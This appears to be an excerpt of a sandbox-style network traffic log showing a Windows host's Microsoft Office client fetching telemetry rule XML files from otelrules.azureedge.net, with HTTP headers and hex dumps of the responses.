2024-11-01 04:53:22 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:22 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:23 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:22 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 697a147b-e01e-0071-71c8-2a08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045322Z-159b85dff8f7x84jhC1DFWaghs00000002fg000000002ydb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:23 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:22 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:22 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 73d124ed-101e-0017-3159-2b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045322Z-17c5cb586f6p5pndayxh2uxv54000000025g0000000094e0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:23 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:22 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:23 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:22 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: fad7475d-801e-002a-7d7c-2a31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045322Z-15b8d89586fcvr6p5956n5d0rc0000000gv0000000003sax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:23 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:22 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:22 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045322Z-16849878b78j7llf5vkyvvcehs0000000bqg000000003ze0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:23 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:23 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:23 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:23 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 622dd3a6-e01e-0003-140d-260fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045323Z-16849878b787bfsh7zgp804my400000009bg000000008ygq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:23 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:23 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:23 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 8e439449-301e-0051-2567-2838bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045323Z-15b8d89586f989rkwt13xern5400000005z00000000009ea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:23 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:23 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:23 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 30963bf2-701e-0001-2a98-28b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045323Z-15b8d89586fmc8ck21zz2rtg1w00000007w0000000003u1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:23 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:23 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:23 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:23 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045323Z-16849878b78sx229w7g7at4nkg00000008t000000000cbqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:23 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:24 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:24 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:24 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5278af64-001e-0034-3fad-26dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045324Z-16849878b78z2wx67pvzz63kdg000000094000000000ds2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:24 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:24 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:24 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:24 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045324Z-16849878b785dznd7xpawq9gcn0000000bug00000000phad x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:24 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:24 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:24 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:24 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045324Z-16849878b78qfbkc5yywmsbg0c0000000a3g00000000pw3z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:24 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 